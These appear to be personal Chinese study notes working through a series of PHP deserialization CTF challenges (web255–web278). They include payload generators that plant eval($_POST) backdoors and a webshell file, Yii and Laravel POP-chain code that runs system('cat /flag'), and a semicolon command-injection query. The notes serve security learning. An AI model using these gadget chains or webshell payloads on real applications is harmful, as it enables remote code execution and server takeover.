开始反序列化
web255
是从cookie中unserialize得到实例,考虑修改cookie中键user的值
$result = urlencode(serialize(new ctfShowUser()));
为何需要url编码呢,不url编码也能成。url编码是对称加密,编码也不影响
web256
考察!==不完全等于,两端不一样为true,相同为false
web257
类内部变量class指向类info
考虑将class指向类backdoor
在类backdoor中RCE
<?php
class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code= 'eval($_POST[1]);';public function getInfo(){eval($this->code);}
}$cup = urlencode(serialize(new ctfShowUser()));
echo PHP_EOL;
echo serialize(new ctfShowUser());
web258
正则过滤O:数字,将数字前面添一个+号
public $code='eval($_POST[1]);';
因为eval本身是一条php语句,引号内的结尾要使用分号
具体可看序列化的c源码
正则为何是过滤O:数字呢
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
web259
php中,如果调用的一个方法在类中不存在,则调用__call魔术方法
原生类的ssrf
通过SoapClient对象
通过php发送网络请求
结合了ssrf
鸽先
web260
字符串序列化结果是它本身
preg_match 是要串中命中就成
web261
0x36d 是877,涉及弱类型比较
如果出现877或877a都会成立
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略
这两个方法是关于在反序列化时被触发
__invoke是关于类被当作一个函数调用时触发,比如
class MyCallable {public function __invoke($param) {echo "Called with parameter: $param\n";}
}$obj = new MyCallable();
$obj("Hello"); // 这里会调用 __invoke() 方法
__sleep在序列化时调用
__unserialize在序列化时调用,将给$code赋值
反序列化对象,new一个对象出来,利用它的构造,获得它的序列化字符串
O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22877a.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
web262
反序列化逃逸注入
预期解
<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$obj = new message('fuck','b','c');function filter($obj){return str_replace('fuck', 'loveU', $obj);
}$objSer = serialize($obj);
echo $objSer;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}echo PHP_EOL;
$objSerFil = filter($objSer);
echo $objSerFil;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}//could flee
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}//fix it to
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}//payload(62 char)
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}echo PHP_EOL;
$objHack = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
echo serialize($objHack);$answer = 'O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}';
$answer = filter($answer);echo PHP_EOL;
var_dump(unserialize($answer));
//it worksecho PHP_EOL;
echo base64_encode($answer);
在目标串中,把短串替换长串,就会造成逃逸,长串与短串的长度的差,就是逃逸的机会。将短串重复若干多次,就能达到逃逸几十个字符个数的反序列化
逃逸的情况就是这样,有些耐心就能做出来
那么,在这个题目中,注释部分的提示
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
为什么暴露了message.php这个文件,而有些情况message.php还可传参?比如本题中,传入cookie可以new一个序列化的base64 message对象进去,后端也能读到cookie中的payload
web263
ctf中一般的源码泄漏是www.zip
ini_set(‘session.serialize_handler’,‘php’)
include(‘inc/inc.php’);
在php泄漏的源码中没有,但是在服务器中有
这题有点复杂,晚点写
涉及php的一个设置
ini_set(‘session.serialize_handler’,‘php’)
和
ini_set(‘session.serialize_handler’,‘php_serialize’)
web264
是反序列化逃逸,属于变长类型,耐心即可
信息写到session中
<?phpclass message{public $from;public $msg;public $to;public $token='admin';//original is 'user', I change it to 'admin'public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');function filter($msg){return str_replace("fuck","loveU",serialize($msg));
}$msg_1 = filter($msg);echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
//payload:";s:5:"token";s:5:"admin";}(27chars)
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:108:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}var_dump(unserialize($msg_1));
web265
“我怎么感觉这个wp越来越像教程了,居然还用了画笔”–from video
有点意思,通过引用,tocken咋变值password就咋变
<?php//error_reporting(0);
//include('flag.php');
//highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = &$this->token;}public function login(){return $this->token===$this->password;}
}$admin = new ctfshowAdmin('123','123');echo serialize($admin);
以下为题目
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag;
}
web266
(在线靶场启用了https)
(搞一下burpsuite)
(https://www.cnblogs.com/a-wyw/p/16277571.html)
(https://cloud.tencent.com/developer/article/1391501)
反序列化
恶意破坏反序列化的结构,但不破坏类名
反序列化异常但是还是会执行类的销毁方法
payload: O:7:“ctfshow”:2:{ctfshow} 使用post方法
有趣的是,这题传值使用file_get_contents('php://input');
通过post直接传值
使用hackbar失败,需要抓包修改后放行
web267
yii反序列化poc
<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'phpinfo';$this->id = '1'; //命令执行}}
}
namespace Faker {use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}
namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}
rce 中 system 被 ban, 用shell_exe()
没能成,不知道为啥
中间几道题是YII的pop链,晚点作
web271
Laravel的链子5.8(将不同的链子做成工具会比较方便)
<?php
namespace Illuminate\Foundation\Testing{class PendingCommand{protected $command;protected $parameters;protected $app;public $test;public function __construct($command, $parameters,$class,$app){$this->command = $command;$this->parameters = $parameters;$this->test=$class;$this->app=$app;}}
}
namespace Illuminate\Auth{class GenericUser{protected $attributes;public function __construct(array $attributes){$this->attributes = $attributes;}}
}
namespace Illuminate\Foundation{class Application{protected $hasBeenBootstrapped = false;protected $bindings;public function __construct($bind){$this->bindings=$bind;}}
}
namespace{$genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));$application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('cat /flag'),$genericuser,$application);echo urlencode(serialize($pendingcommand));
}
?>
web272
还是Laravel
换一条链子
<?php
namespace Illuminate\Broadcasting{use Illuminate\Bus\Dispatcher;use Illuminate\Foundation\Console\QueuedCommand;class PendingBroadcast{protected $events;protected $event;public function __construct(){$this->events=new Dispatcher();$this->event=new QueuedCommand();}}
}
namespace Illuminate\Foundation\Console{use Mockery\Generator\MockDefinition;class QueuedCommand{public $connection;public function __construct(){$this->connection=new MockDefinition();}}
}
namespace Illuminate\Bus{use Mockery\Loader\EvalLoader;class Dispatcher{protected $queueResolver;public function __construct(){$this->queueResolver=[new EvalLoader(),'load'];}}
}
namespace Mockery\Loader{class EvalLoader{}
}
namespace Mockery\Generator{class MockConfiguration{protected $name="feng";}class MockDefinition{protected $config;protected $code;public function __construct(){$this->code="<?php system('cat /flag');exit()?>";$this->config=new MockConfiguration();}}
}namespace{use Illuminate\Broadcasting\PendingBroadcast;echo urlencode(serialize(new PendingBroadcast()));
}
web273
同web272,通杀属于是,链子继续用
总结以下框架的发序列化链子怎么用
就是收集链子,根据框架的指纹判断种类和版本
web274
没找到链子捏
web275
?fn=php;tac flag.php
题目
highlight_file(__FILE__);class filter{public $filename;public $filecontent;public $evilfile=false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile){system('rm '.$this->filename);}}
}if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?';
}
是个RCE
一般情况,传个get参数,直接被当成文件名删掉
尝试进入system命令执行,使用分号执行命令
不难
web276
利用phar
写脚本竞争读写,拿到flag
没懂
web277
flask 的python反序列化
没懂
web278
flask 的python 反序列化
没学